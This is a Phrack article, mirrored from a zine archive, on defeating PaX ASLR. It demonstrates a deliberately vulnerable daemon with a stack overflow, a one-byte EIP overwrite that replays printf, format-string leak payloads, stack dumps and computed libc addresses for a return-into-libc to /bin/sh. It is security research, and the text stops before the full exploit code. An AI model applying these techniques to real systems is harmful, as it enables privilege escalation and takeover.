mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1132 lines
37 KiB
Text
1132 lines
37 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3b, Phile #0x09 of 0x12
|
|
|
|
|=------------------=[ Bypassing PaX ASLR protection ]=------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=--------------=[ Tyler Durden <p59_09@author.phrack.org> ]=------------=|
|
|
|
|
|
|
0. Introduction
|
|
a. What is PaX and what it does
|
|
b. Known attacks against old PaX implems
|
|
c. What changed since ret-into-dl-resolve()
|
|
|
|
1. What you ever wanted to know about PaX
|
|
a. Paging basics
|
|
b. PaX foundations (PAGEEXEC feature)
|
|
c. Address Space Layout Randomization Layout (ASLR)
|
|
- Stack ASLR
|
|
- Libraries ASLR
|
|
- Executable PT_LOAD double mapping technique
|
|
- ET_EXEC to ET_DYN full relinking technique
|
|
d. Last enforcements
|
|
|
|
2. ASLR weaknesses
|
|
a. EIP partial overwrite
|
|
b. Generating information leaks
|
|
|
|
3. Understanding the exploitation step by step
|
|
a. Global flow understanding using gdb
|
|
b. Examining the remote stack
|
|
c. Verify printf relative offset using elfsh
|
|
d. Guess functions and parameters absolute addresses
|
|
|
|
4. Exploitation success conditions
|
|
a. Looking for exploitable stack based overflows
|
|
b. Looking for leak functions
|
|
c. The frame pointer problem and workaround
|
|
d. Discussion about segvguard
|
|
|
|
5. The code
|
|
a. Sample target
|
|
b. ret-into-printf info leak code
|
|
|
|
6. Referenced papers and projects
|
|
|
|
|
|
|
|
|
|
-------[ 0. Introduction
|
|
|
|
|
|
[a] PaX, stands for PageEXec, is a linux kernel patch protection against
|
|
buffer overflow attacks . It is younger than Openwall (PaX has been
|
|
available for a year and a half now) and takes profit from the
|
|
processor lowlevel paging mechanism in order to detect injected code
|
|
execution . It also make return into libc exploits very hard to
|
|
accomplish . This patch is very easy to use and can be downloaded
|
|
on [1] , so as the tiny chpax tool used to configure PaX on a per
|
|
file basis .
|
|
|
|
For accomplishing its task, PaX hooks two OS mechanisms :
|
|
|
|
- Refuse code execution on writable pages (PAX_PAGEEXEC option) .
|
|
- Randomize mmap()'ed library base address to make return into libc
|
|
harder .
|
|
|
|
[b] Some years ago, Nergals came with his return into plt technique
|
|
(ELF specific) allowing him to bypass the mmap() protection (implemented
|
|
in OpenWall [2] at this time) . The technique has been very well described
|
|
in a recent paper [3] and wont be developped again in this article .
|
|
|
|
[c] In the last months, the PaX team released et_dyn.zip, showing us how
|
|
to relink executable (ET_EXEC ELF objects) into ET_DYN objects, so that
|
|
the main object base address would also be randomized, and Nergal's
|
|
return-into-plt attack blocked .
|
|
|
|
Unfortunately, most people think it is a real pain to relink all sensible
|
|
binaries . The PaX team decided to release a new version of the patch,
|
|
accomplishing the same task without needing relinking .
|
|
|
|
Since this patch represents the latest improvement concerning buffer
|
|
overflow protection, a new study was necessary . We will demonstrate
|
|
that in certain conditions, it is still possible to exploit stack based
|
|
buffer overflows protected by PaX with all options actived, including
|
|
the new ET_EXEC binary base address randomizing .
|
|
|
|
We will show that we can reduce the problem to a standard return-into-libc
|
|
exploitation . Heap overflows wont be developped, but it might also be
|
|
possible to exploit them in an ASLR environment using a derived
|
|
technique .
|
|
|
|
|
|
|
|
-------[ 1. What you ever wanted to know about PaX
|
|
|
|
|
|
If you dont care about PaX itself, please pass this paragraph and go read
|
|
paragraph 2 now :)
|
|
|
|
|
|
[a] Paging basics
|
|
|
|
|
|
On INTEL Pentium processors, userland pages are 4Ko big . The design
|
|
for 32 bits linear addresses (when pagination is enabled, which is
|
|
mandatory if protected mode is enabled) is :
|
|
|
|
|
|
---------------------------------------
|
|
| | | |
|
|
---------------------------------------
|
|
|
|
^ ^ ^
|
|
| | |_____ Page offset (12 bits)
|
|
| |
|
|
| |_____ Page table entry index (10 bits)
|
|
|
|
|
|_______ Page directory entry index (10 bits)
|
|
|
|
|
|
If no extra options (like PSE or PAE) are actived, the processor handle a
|
|
3 level paging, using 2 intermediary tables called the page directory and
|
|
the page table .
|
|
|
|
On Linux, segmentation protection is not used by default (segment base
|
|
address is 0 everywhere, and segment limit is FFFFF everywhere), it means
|
|
that virtual address space and linear address space are the same . For
|
|
extended information about the INTEL Pentium protected mode, please
|
|
refers to the Documentation reference [4], paragraph 3.6.2 describes
|
|
paging basics, including PDE and PTE explainations .
|
|
|
|
For instance, linear address 0804812C can be decomposed like :
|
|
|
|
08 + two high bits in the third nibble '0' : Page directory entry index
|
|
two low bits in the third nibble '0' + 48 : Page table entry index
|
|
12C (12 low bits) : Page offset
|
|
|
|
|
|
[b] PAGEEXEC option
|
|
|
|
|
|
There is a documentation on the PaX website [1] but as written on the
|
|
webpage, it is quite outdated . I will try (thanks to the PaX team)
|
|
to explain PaX mechanisms again and giving some details for our
|
|
purpose :
|
|
|
|
First, PaX hook your page fault handler . This is an routine executed
|
|
each time you have an access problem to a memory page . Linux pages are
|
|
all 4Ko on the platform we are interrested in . This fault can be due
|
|
to many reasons :
|
|
|
|
- Presence checking (not all 4Ko zone are mapped in memory at this
|
|
moment, some pages may be swapped for instance and we want to unswap
|
|
it)
|
|
|
|
- Supervisor check (the page has its supervisor bit set, only the kernel
|
|
can access it, normal behavior is to send SIGSEGV)
|
|
|
|
- Access mode check : try to write and not allowed, try to read and not
|
|
allowed, normal behaviour is send SIGSEGV .
|
|
|
|
- Other reasons described in [4] .
|
|
|
|
Since there is no dedicated bit on PDE (page directory entry) or PTE (page
|
|
table entry) to control page execution, the PaX code has to emulate it,
|
|
in order to detect inserted shellcode execution in the flow .
|
|
|
|
Every protected pages tables entries (PTE) are set to supervisor .
|
|
Protected pages include everything (stack, heap, data pages) except the
|
|
original executable code (executable PT_LOAD program header for each
|
|
process object) .
|
|
|
|
Consequences are quite directs : each time we access one of these pages,
|
|
the page fault handler is executed because the supervisor bit has been
|
|
detected during the linear-to-physical address translation (so called page
|
|
table walk) . PaX can control access to the page in its PF handling code .
|
|
|
|
What PaX can choose to do at this time :
|
|
|
|
- If it is a read/write access, consider it as normal if original page
|
|
flags allows it and do not kill the task . For this to work, the PaX code
|
|
has to temporary fill the corresponding PTE to a user one (remember that
|
|
the page has been protected with the supervisor bit whereas it contains
|
|
userland code), then do access on the page to fill the dtlb, and set the
|
|
page as supervisor again . This will result in further data access to the
|
|
page not beeing filtered by PF since it will use the dtlb cached value and
|
|
not perform a page table walk again ;)
|
|
|
|
- If it is an execution access, kill the task and write the exploitation
|
|
attempt in the logs .
|
|
|
|
|
|
[c] ASLR
|
|
|
|
|
|
=> Stack ASLR
|
|
|
|
bash$ export EGG="/bin/sh"
|
|
bash$ cat test.c
|
|
|
|
<++> DHagainstpax/test.c !187b540a
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
int main(int argc, char **argv, char **envp)
|
|
{
|
|
char *str;
|
|
|
|
str = getenv("EGG");
|
|
printf("str = %p (%s) , envp = %p, argv = %p, delta = %u \n",
|
|
str, str, envp, argv, (u_int) str - (u_int) argv);
|
|
return (0);
|
|
}
|
|
|
|
<-->
|
|
|
|
bash$ ./a.out
|
|
str = 0xb7a2aece (/bin/sh) , envp = 0xb7a29bbc, argv = 0xb7a29bb4,
|
|
delta = 4890
|
|
bash$ ./a.out
|
|
str = 0xb9734ece (/bin/sh) , envp = 0xb973474c, argv = 0xb9734744,
|
|
delta = 1930
|
|
bash$ ./a.out
|
|
str = 0xba36cece (/bin/sh) , envp = 0xba36c73c, argv = 0xba36c734,
|
|
delta = 1946
|
|
bash$ chpax -v a.out
|
|
a.out: PAGE_EXEC is enabled, trampolines are not emulated, mprotect() is
|
|
restricted, mmap() base is randomized, ET_EXEC base is randomized
|
|
bash$
|
|
|
|
After investigation, it seems like the stack address is randomized on
|
|
the 28 low bits, but in 2 times, which explain why the EGG environment
|
|
variable is always on the same page offset (ECE) . First, bits 12 to 27 get
|
|
randomized, then environment is copied on the stack, finally the page
|
|
offset (bits 0 to 11) is randomized using some %esp padding . Note that
|
|
low 4 bits are always 0 because the kernel enforces 16 bytes
|
|
alignement after the %esp pad . This is not a big vulnerability and
|
|
you dont need it to manage ASLR exploitation, even if it might help
|
|
in some cases . It may be corrected in the next PaX version however .
|
|
|
|
|
|
=> Libraries ASLR
|
|
|
|
|
|
bash$ cat /proc/self/maps | grep libc
|
|
409da000-40ae1000 r-xp 00000000 03:01 833281 /lib/libc-2.2.3.so
|
|
40ae1000-40ae7000 rw-p 00106000 03:01 833281 /lib/libc-2.2.3.so
|
|
bash$ cat /proc/self/maps | grep libc
|
|
4e742000-4e849000 r-xp 00000000 03:01 833281 /lib/libc-2.2.3.so
|
|
4e849000-4e84f000 rw-p 00106000 03:01 833281 /lib/libc-2.2.3.so
|
|
bash$ cat /proc/self/maps | grep libc
|
|
4b61b000-4b722000 r-xp 00000000 03:01 833281 /lib/libc-2.2.3.so
|
|
4b722000-4b728000 rw-p 00106000 03:01 833281 /lib/libc-2.2.3.so
|
|
bash$
|
|
|
|
Library base addresses get randomized on 16 bits (bits 12 to 27) . Page
|
|
offset (low 12 bits) is not randomized, the high nibble is not randomized
|
|
as well (always '4' to allow big library mapping, this nibble wont change
|
|
unless a very big zone is mapped) . We already note that there's no NUL
|
|
bytes in the library addresses, the PaX team choosed to randomize address
|
|
on 16 bits instead .
|
|
|
|
|
|
=> Executable PT_LOAD double mapping technique
|
|
|
|
|
|
In order to block classical return-into-plt exploits, we can use two
|
|
mechanisms . The first one consists in automatically remapping the
|
|
executable program header (containing the binary .plt) and set the
|
|
old (original) mapping as non-executable using the PAGEXEC option .
|
|
|
|
For obscure reasons linked to crt*.o PIC code, vm_areas framing the
|
|
remapped region have to share the same physical address than vm_areas
|
|
framing the original region but that's not important for the presented
|
|
attack .
|
|
|
|
The data PT_LOAD program header is not moved because the remapped code
|
|
may contains absolute references to it . This is a vulnerability because
|
|
it makes .got accessible in rw mode . We could for instance poison
|
|
the table using partial entry overwrite (overwriting only 1 or 2 bytes in
|
|
the entry) but this wont be discussed in the paper since this attack is
|
|
derived from [5] and would require similar conditions . Moreover, the
|
|
remapping option is time consuming and we prefer using full relinking .
|
|
|
|
|
|
=> ET_EXEC to ET_DYN full relinking technique
|
|
|
|
|
|
Now it comes more tricky ;p Maybe you already noticed executable
|
|
libraries in your tree . These objects are ET_DYN (shared) and contains
|
|
a valid entry point and valid interpreter (.interp) section . libc.so is
|
|
very good examples :
|
|
|
|
bash$ /lib/libc.so.6
|
|
GNU C Library stable release version 2.2.3, by Roland McGrath et al.
|
|
(...)
|
|
Report bugs using the `glibcbug' script to <bugs@gnu.org>.
|
|
bash$
|
|
|
|
bash$ /usr/lib/libncurses.so
|
|
Segmentation fault
|
|
bash$
|
|
|
|
If we look closer at these libraries, we can see :
|
|
|
|
bash$ objdump -x /lib/libc.so.6 | grep INTERP
|
|
INTERP off 0x001065f2 vaddr 0x001065f2 paddr 0x001065f2 align 2**0
|
|
bash$ objdump -x /usr/lib/libncurses.so | grep INTERP
|
|
bash$
|
|
|
|
A sample relinking package called et_dyn.zip can be obtained on the PaX
|
|
website, it shows how to perform relinking for your own binaries . For
|
|
this, you just have to request a PT_INTERP segment to be created (not
|
|
the case by default except for libc) and have a valid entry point
|
|
function (a main function is enough) .
|
|
|
|
This relinking will result in all zone (code and data program header)
|
|
beeing mapped as shared libraries, with base address randomized using
|
|
the standard PaX mmap() mechanism . This is the protection we are going
|
|
to defeat .
|
|
|
|
|
|
[d] Last enforcements
|
|
|
|
|
|
PaX also prevents from mprotect() based attacks, when mprotect is
|
|
used to regain execution rights on a shellcode inserted in the stack for
|
|
instance . It matters because in case we are able to guess the mprotect()
|
|
absolute address, we wont be able to abuse it .
|
|
|
|
Trampoline emulation is not explained because it doesnt matter for our
|
|
purpose .
|
|
|
|
|
|
|
|
-------[ 2. ASLR weaknesses
|
|
|
|
|
|
[a] As we saw, page offset is 12 bits long . It means that a one byte
|
|
EIP overflow is not risky because we know that the modified return
|
|
address will still point in the same page, since the INTEL x86 architecture
|
|
is little endian . Partial overflows have not been studied much, except for
|
|
the alphanumeric shellcode purpose [6] and for fp overwriting [7] . Using
|
|
this technique we can replay or bypass part of the original code .
|
|
|
|
What is more interresting for us is replaying code, in our case, replaying
|
|
buffer overflows, so that we'll be able to control the process execution
|
|
flow and replay vulnerable code as much as needed . We start thinking
|
|
about some brute forcing mechanism but we want to avoid crashing the
|
|
program .
|
|
|
|
[b] What we have to do against PaX ASLR is retreiving information about
|
|
the process, more precisely about the process address space .
|
|
|
|
I'll ask you to have a look at this sample vulnerable code before saying
|
|
the whole technique :
|
|
|
|
<++> DHagainstpax/pax_daemon.c !d75c8383
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
|
|
#define NL '\n'
|
|
#define CR '\r'
|
|
#define OKAY_PASS "evil"
|
|
#define FATAL(str) { perror(str); exit(-1); }
|
|
|
|
int verify(char *pass);
|
|
int do_auth();
|
|
|
|
char pass[48];
|
|
int len;
|
|
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
return (do_auth());
|
|
}
|
|
|
|
|
|
/* Non-buggy passwd based authentication */
|
|
int do_auth()
|
|
{
|
|
printf("Password: ");
|
|
fflush(stdout);
|
|
len = read(0, pass, sizeof(pass) - 1);
|
|
if (len <= 0)
|
|
FATAL("read");
|
|
pass[len] = 0;
|
|
if (!verify(pass))
|
|
{
|
|
printf("Access granted .\n");
|
|
return (0);
|
|
}
|
|
|
|
printf("You loose !");
|
|
fflush(stdout);
|
|
return (-1);
|
|
}
|
|
|
|
|
|
/* Buggy password check (stack based overflow) */
|
|
int verify(char *pass)
|
|
{
|
|
char filtered_pass[32];
|
|
int i;
|
|
|
|
bzero(filtered_pass, sizeof(filtered_pass));
|
|
|
|
/* this protocol is a pain in the ass */
|
|
for (i = 0; pass[i] && pass[i] != NL && pass[i] != CR; i++)
|
|
filtered_pass[i] = pass[i];
|
|
|
|
if (!strcmp(filtered_pass, OKAY_PASS))
|
|
return (0);
|
|
|
|
return (-1);
|
|
}
|
|
|
|
<-->
|
|
|
|
|
|
This is a tiny password based authentication daemon, running throught
|
|
inetd or at the command line . For inetd use, here is the line to
|
|
add in inetd.conf :
|
|
|
|
666 stream tcp nowait root /usr/sbin/tcpd \
|
|
/home/anonymous/DHagainstpax/paxtestd
|
|
|
|
Just replace the command line with your own path for the daemon, inform
|
|
inetd about it, and verify that it works well :
|
|
|
|
bash$ pidof inetd
|
|
99
|
|
bash$ kill -HUP 99
|
|
bash$ netstat -a -n | grep 666
|
|
tcp 0 0 0.0.0.0:666 0.0.0.0:* LISTEN
|
|
bash$
|
|
|
|
This is a quite dumb code printing a password prompt, waiting for an
|
|
input, and comparing it with the valid password, filtering CR and NL
|
|
caracters .
|
|
|
|
bash$ ./paxtestd
|
|
Password: toto
|
|
You loose !
|
|
bash$ ./paxtestd
|
|
Password: evil
|
|
Access granted .
|
|
bash$
|
|
|
|
For bored people who think that this code cant be found in the wild,
|
|
I would just argue that this work is proof of concept . Exploitation
|
|
conditions are generalized in paragraph 4 .
|
|
|
|
We can easily idenfify a stack based buffer overflow vulnerability
|
|
in this daemon, since the filtered_pass[] buffer is filled with the
|
|
pass[] buffer, the copy beeing filtered in a 'for' loop with a missing
|
|
size checking condition .
|
|
|
|
[b] What can we do to exploit this vulnerability in a PaX full random
|
|
address space protected environment ? If we look closed, here is what
|
|
we can see :
|
|
|
|
(...)
|
|
printf("Password: ");
|
|
fflush(stdout);
|
|
len = read(0, pass, sizeof(pass) - 1);
|
|
if (len <= 0)
|
|
FATAL("read");
|
|
pass[len] = 0;
|
|
if (!verify(pass))
|
|
{
|
|
(...)
|
|
|
|
The assembler dump (slighly modified to match symbol names cause
|
|
objdump symbol matching sucks :) for do_auth() looks like that :
|
|
|
|
804858c: 55 push %ebp
|
|
804858d: 89 e5 mov %esp,%ebp
|
|
804858f: 83 ec 08 sub $0x8,%esp
|
|
8048592: 83 c4 f4 add $0xfffffff4,%esp
|
|
8048595: 68 bc 86 04 08 push $0x80486bc
|
|
804859a: e8 5d fe ff ff call 80483fc <printf>
|
|
804859f: 83 c4 f4 add $0xfffffff4,%esp
|
|
80485a2: ff 35 00 98 04 08 pushl 0x8049800
|
|
80485a8: e8 1f fe ff ff call 80483cc <fflush>
|
|
80485ad: 83 c4 20 add $0x20,%esp
|
|
80485b0: 83 c4 fc add $0xfffffffc,%esp
|
|
80485b3: 6a 2f push $0x2f
|
|
80485b5: 68 20 98 04 08 push $0x8049820
|
|
80485ba: 6a 00 push $0x0
|
|
80485bc: e8 6b fe ff ff call 804842c <read>
|
|
80485c1: 89 c2 mov %eax,%edx
|
|
80485c3: 89 15 50 98 04 08 mov %edx,0x8049850
|
|
80485c9: 83 c4 10 add $0x10,%esp
|
|
80485cc: 85 d2 test %edx,%edx
|
|
80485ce: 7f 17 jg 80485e7 ; if (len <= 0)
|
|
80485d0: 83 c4 f4 add $0xfffffff4,%esp
|
|
80485d3: 68 c7 86 04 08 push $0x80486c7
|
|
80485d8: e8 df fd ff ff call 80483bc <perror>
|
|
80485dd: 83 c4 f4 add $0xfffffff4,%esp
|
|
80485e0: 6a ff push $0xffffffff
|
|
80485e2: e8 35 fe ff ff call 804841c <exit>
|
|
80485e7: b8 20 98 04 08 mov $0x8049820,%eax
|
|
80485ec: c6 04 02 00 movb $0x0,(%edx,%eax,1)
|
|
80485f0: 83 c4 f4 add $0xfffffff4,%esp
|
|
80485f3: 50 push %eax
|
|
80485f4: e8 27 ff ff ff call 8048520 <verify>
|
|
80485f9: 83 c4 10 add $0x10,%esp
|
|
|
|
More precisely:
|
|
|
|
(...)
|
|
8048595: 68 bc 86 04 08 push $0x80486bc
|
|
804859a: e8 5d fe ff ff call 80483fc <printf>
|
|
(...)
|
|
80485f4: e8 27 ff ff ff call 8048520 <verify>
|
|
80485f9: 83 c4 10 add $0x10,%esp
|
|
|
|
|
|
The 'call printf' and 'call verify' are cleary on the same page, we know
|
|
this because the 20 high bits of their respective linear address are the
|
|
same . It means that we are able to return on this instruction using a
|
|
one (or two) byte(s) eip overflow . If we think about the stack state,
|
|
we can see that printf() will be called with parameters already present
|
|
on the stack, i.e. the verify() parameters. If we control the first
|
|
parameter of this function, we can supply a random format string to the
|
|
printf function and generate a format bug, then call the vulnerable
|
|
function again, this way we hope resuming the problem to a standard
|
|
return into libc exploit, examining the remote process address space,
|
|
more precisely the remote stack, in particular return addresses.
|
|
|
|
Lets prepare a 37 byte long buffer (32 bytes buffer, 4 byte frame pointer,
|
|
and one low EIP byte) for the password input :
|
|
|
|
"%001$08u \x9a"
|
|
"%002$08u \x9a"
|
|
"%003$08u \x9a"
|
|
"%iii$08u \x9a"
|
|
|
|
These format strings will display the 'i'th unsigned integer from the
|
|
remote stack . Using this we can retreive interresting values using
|
|
leak.c given at the end if this paper .
|
|
|
|
For those who are not that familiar with format bugs, this will read
|
|
the i'th pushed parameter on the stack (iii$) and print it as an unsigned
|
|
integer (%u) on eight characters (8), padding with '0' char if needed .
|
|
Format strings are deeply explained in the printf(3) manpage .
|
|
|
|
Note that the 37th byte \x9a is the low byte in the 'call printf' linear
|
|
address . Since the caller is responsible for parameters popping, they
|
|
are still present on the stack when the verify function returns ('ret')
|
|
and when the new return address is pushed by the 'call printf' so that
|
|
the stack pointer is well synchronized .
|
|
|
|
bash-2.05$ ./runit
|
|
[RECEIVED FROM SERVER] *Password: *
|
|
Connected! Press ^C to launch : Starting remote stack retreiving ...
|
|
|
|
Remote stack :
|
|
00000000 08049820 0000002F 00000001
|
|
472ED57C 4728BE10 B9BDB84C 4727464F
|
|
080486B0 B9BDB8B4 472C6138 473A2A58
|
|
47281A90 B9BDB868 B9BDB888 472B42EB
|
|
00000001 B9BDB8B4 B9BDB8BC 0804868C
|
|
|
|
bash-2.05$
|
|
|
|
In this first example we read 80 bytes on the stack, reading 4 bytes per
|
|
4 bytes, replaying 20 times the overflow and provoking 20 times a format
|
|
bug, each time incrementing the 'iii' counter in the format string (see
|
|
below) .
|
|
|
|
As soon as we know enough information to perform a return into libc as
|
|
described in [3], we can stop generating format bugs in loop and fully
|
|
erase eip (and the parameters standing after eip on the stack) and
|
|
perform standard return-into-libc exploitation . We can also choose
|
|
to exploit the program using the generated format bugs as described it
|
|
[8] .
|
|
|
|
|
|
|
|
-------[ 3. Understanding the exploitation step by step
|
|
|
|
|
|
|
|
The goal is to guess libc addresses so that we can perform a standard
|
|
return into libc exploitation . For that we will use relative offsets
|
|
from the retaddr we can read on the stack . This paragraph has been
|
|
done to help you in your first ASLR exploitation .
|
|
|
|
[a] Let's understand better the execution flow using a debugger. This
|
|
is what we can see in the gdb debugging session for the vulnerable
|
|
daemon, at this moment waiting for its first input :
|
|
|
|
* WITHOUT ET_EXEC base address randomization
|
|
|
|
(gdb) bt
|
|
#0 0x400dff14 in __libc_read () at __libc_read:-1
|
|
#1 0x4012ca58 in __DTOR_END__ () from /lib/libc.so.6
|
|
#2 0x0804864f in main (argc=1, argv=0xbffffd54) at pax_daemon.c:26
|
|
#3 0x4003e2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
|
|
ubp_av=0xbffffd54, init=0x8048374 <_init>,
|
|
fini=0x804868c <_fini>, rtld_fini=0x4000c130 <_dl_fini>,
|
|
stack_end=0xbffffd4c) at ../sysdeps/generic/libc-start.c:129
|
|
(gdb)
|
|
|
|
|
|
* WITH ET_EXEC base address randomization
|
|
|
|
(gdb) bt
|
|
#0 0x4365ef14 in __libc_read () at __libc_read:-1
|
|
#1 0x436aba58 in __DTOR_END__ () from /lib/libc.so.6
|
|
#2 0x4357d64f in ?? ()
|
|
#3 0x435bd2eb in __libc_start_main (main=0x8048634 <main>, argc=1,
|
|
ubp_av=0xb5c36cf4, init=0x8048374 <_init>,
|
|
fini=0x804868c <_fini>, rtld_fini=0x4358b130 <_dl_fini>,
|
|
stack_end=0xb5c36cec) at ../sysdeps/generic/libc-start.c:129
|
|
(gdb)
|
|
|
|
|
|
As you can see, the symbol table is not synchronized anymore with the
|
|
memory dump so that we cant rely on the resolved names to debug . Note
|
|
that we will dispose of a correct symbol table in case the ET_EXEC binary
|
|
object has been relinked into a ET_DYN one, has explained in paragraph
|
|
1, part c .
|
|
|
|
|
|
[b] Using the exploit, here is what we can see if we examine the stack with
|
|
or without the ET_EXEC rand option :
|
|
|
|
bash$ ./runit
|
|
[RECEIVED FROM SERVER] *Password: *
|
|
Connected! Press ^C to launch : Starting remote stack retreiving ...
|
|
|
|
Remote stack (with ET_EXEC rand enabled) :
|
|
00000000 08049820 0000002F 00000001
|
|
482D157C 4826FE10 BDDB44DC 4825864F
|
|
080486B0 BDDB4544 482AA138 48386A58
|
|
48265A90 BDDB44F8 BDDB4518 482982EB
|
|
00000001 BDDB4544 BDDB454C 0804868C
|
|
|
|
If we disable the ET_EXEC rand option, here is what we see :
|
|
|
|
bash$ ./runit
|
|
|
|
(...)
|
|
|
|
Remote stack (with ET_EXEC rand disabled) :
|
|
00000000 08049820 0000002F 00000001
|
|
4007757C 40015E10 BFFFFCEC 0804864F
|
|
080486B0 BFFFFD54 40050138 4012CA58
|
|
4000BA90 BFFFFD08 BFFFFD28 4003E2EB
|
|
00000001 BFFFFD54 BFFFFD5C 0804868C
|
|
|
|
As we want to do a return into libc, address pointing in the libc are the
|
|
most interresting . What we are looking for is the main() return address
|
|
pointing in the remapped instance of the __libc_start_main function, in
|
|
the .text section in the libc's address space .
|
|
|
|
Here is how to interpret the stack dump :
|
|
|
|
00000000 (...)
|
|
08049820
|
|
0000002F
|
|
00000001
|
|
435F657C
|
|
43594E10
|
|
B5C36C8C do_auth frame pointer
|
|
4357D64F do_auth() return address
|
|
080486B0 do_auth parameter ('pass' ptr)
|
|
B5C36CF4
|
|
435CF138
|
|
436ABA58
|
|
4358AA90
|
|
B5C36CA8
|
|
B5C36CC8 main() frame pointer
|
|
435BD2EB main() return address
|
|
00000001 argc
|
|
B5C36CF4 argv
|
|
B5C36CFC envp
|
|
0804868C (...)
|
|
|
|
|
|
[c] Now let's look at the libc binary to know the relative address for
|
|
functions we are interrested in . For that we'll use the regex option
|
|
in ELFsh [9] :
|
|
|
|
bash-2.05$ elfsh -f /lib/libc.so.6 -sym ' strcpy '\|' exit '\|' \
|
|
setreuid '\|' system '
|
|
|
|
[SYMBOL TABLE]
|
|
[4425] 0x750d0 strcpy type: Function size: 00032 bytes => .text
|
|
[4855] 0x48870 system type: Function size: 00730 bytes => .text
|
|
[5670] 0xc59b0 setreuid type: Function size: 00188 bytes => .text
|
|
[6126] 0x2efe0 exit type: Function size: 00248 bytes => .text
|
|
|
|
bash$ elfsh -f /lib/libc.so.6 -sym __libc_start_main
|
|
|
|
[SYMBOL TABLE]
|
|
[6218] 0x1d230 __libc_start_main type: Function size: 00193 bytes => .text
|
|
|
|
bash$
|
|
|
|
|
|
[d] As the main() function return into __libc_start_main , lets look
|
|
precisely in the assembly code where main() will return . So, we would
|
|
know the relative offset between the needed function address and the
|
|
address of the 'call main' instruction . This code is located in the libc.
|
|
This dump has been taken from my default SlackWare libc.so.6 for which you
|
|
may not need to change relative file offsets in the exploit .
|
|
|
|
0001d230 <__libc_start_main>:
|
|
1d230: 55 push %ebp
|
|
1d231: 89 e5 mov %esp,%ebp
|
|
1d233: 83 ec 0c sub $0xc,%esp
|
|
(...)
|
|
1d2e6: 8b 55 08 mov 0x8(%ebp),%edx
|
|
1d2e9: ff d2 call *%edx
|
|
1d2eb: 50 push %eax
|
|
1d2ec: e8 9f f9 ff ff call 1cc90 <GLIBC_2.0+0x1cc90>
|
|
(...)
|
|
|
|
Instructions following this last 'call 1cc90' are 'nop nop nop nop', just
|
|
headed by the 'Letext' symbol, but thats not interresting for us .
|
|
|
|
Because the libc might have been recompiled, it may be possible
|
|
to have different relative offsets for your own libc built and it
|
|
would be very difficult to guess absolute addresses just using the
|
|
main() return address in this case. Of course, if we have a
|
|
binary copy of the used library (like a .deb or .rpm libc package), we
|
|
can predict these offsets without any problem . Let's look at the
|
|
offsets for my libc version, for which the exploit is based .
|
|
|
|
We know from the 'bt' output (see above) that the main address is the
|
|
first __libc_start_main() parameter . Since this function has a frame
|
|
pointer, we deduce that 8(%ebp) contains the main() absolute address .
|
|
The __libc_start_main function clearly does an indirect call through
|
|
%edx on it (see the last 3 instructions) :
|
|
|
|
1d2e6: 8b 55 08 mov 0x8(%ebp),%edx
|
|
1d2e9: ff d2 call *%edx
|
|
|
|
We deduce that the return address we read in the process stack points
|
|
on the intruction at file offset 1d2eb :
|
|
|
|
1d2eb: 50 push %eax
|
|
|
|
We can now calculate the absolute address we are looking for :
|
|
|
|
. main() ret-addr : file offset 0x1d2eb, virtual address 0x4003e2eb
|
|
. system() : file offset 0x48870, virtual address unknown
|
|
. setreuid() : file offset 0xc59b0, virtual address unknown
|
|
. exit() : file offset 0x2efe0, virtual address unknown
|
|
. strcpy() : file offset 0x750d0, virtual address unknown
|
|
|
|
What we deduce from this :
|
|
|
|
. system() addr = main ret + (system offset - main ret offset)
|
|
= 4003e2eb + (48870 - 1d2eb)
|
|
= 4003e2eb + 2B585
|
|
= 40069870
|
|
|
|
. setreuid() addr = main ret + (setreuid offset - main ret offset)
|
|
= 4003e2eb + (c59b0 - 1d2eb)
|
|
= 4003e2eb + a86c5
|
|
= 400e69b0
|
|
|
|
. exit() addr = main ret + (exit offset - main ret offset)
|
|
= 4003e2eb + (2efe0 - 1d2eb)
|
|
= 4003e2eb + 11cf5
|
|
= 4004ffe0
|
|
|
|
. strcpy() addr = 4003e2eb + (750d0 - 1d2eb)
|
|
= 4003e2eb + 57de5
|
|
= 400960d0
|
|
|
|
We needs some more offsets to perform a chained return into libc and
|
|
insert NUL bytes as explained in Nergal's paper :
|
|
|
|
- A pointer on the setreuid() parameter reposing on the stack, to be
|
|
used as a dst strcpy parameter (we need to nullify it) :
|
|
|
|
do_auth fp + 28 = B5C36CC8 + 1C
|
|
= B5C36CE4
|
|
|
|
The setreuid parameter address (reposing on the stack) can be found
|
|
using the do_auth() frame pointer value (B5C36CC8 in the stack dump), or
|
|
if there is no frame pointer, using whatever stack variable address
|
|
we can guess .
|
|
|
|
- A pointer on a NUL byte to be used as a src strcpy parameter (let's
|
|
use the "/bin/sh" final byte address)
|
|
|
|
main ret addr + (string offset - main ret offset) + strlen("/bin/sh")
|
|
= 4003e2eb + (fcc19 - 1d2eb) + 7
|
|
= 4003e2eb + df92e + 7
|
|
= 4011dc19 + 7
|
|
= 4011dc20
|
|
|
|
- A "/bin/sh" string with predictable absolute address for the
|
|
system() parameter (we will find one in the libc's .rodata section
|
|
which is part of the same zone (has the same base address) than
|
|
libc's .text)
|
|
|
|
main ret addr + (string offset - main ret offset)
|
|
= 4003e2eb + (fcc19 - 1d2eb)
|
|
= 4003e2eb + df92e
|
|
= 4011dc19
|
|
|
|
bash$ elfsh -f /lib/libc.so.6 -X '.rodata' | grep -A 1 '/bin/'
|
|
|
|
nbits.333 + 152 0xfcc18 : 00 2F 62 69 6E 2F 73 68 ./bin/sh
|
|
nbits.333 + 160 0xfcc20 : 00 00 00 00 00 00 00 00 ........
|
|
--
|
|
zeroes + 19 0xff848 : 73 68 00 2F 62 69 6E 2F sh./bin/
|
|
zeroes + 27 0xff850 : 73 68 00 00 00 00 00 00 sh......
|
|
--
|
|
zeroes + 560 0xffad0 : 68 00 2F 62 69 6E 2F 73 h./bin/s
|
|
zeroes + 568 0xffad8 : 68 00 74 6D 70 66 00 77 h.tmpf.w
|
|
|
|
bash$
|
|
|
|
|
|
- A 'pop ret' and 'pop pop ret' sequences somewhere in the code, in
|
|
order to do %esp lifting (we will find many ones in libc's .text)
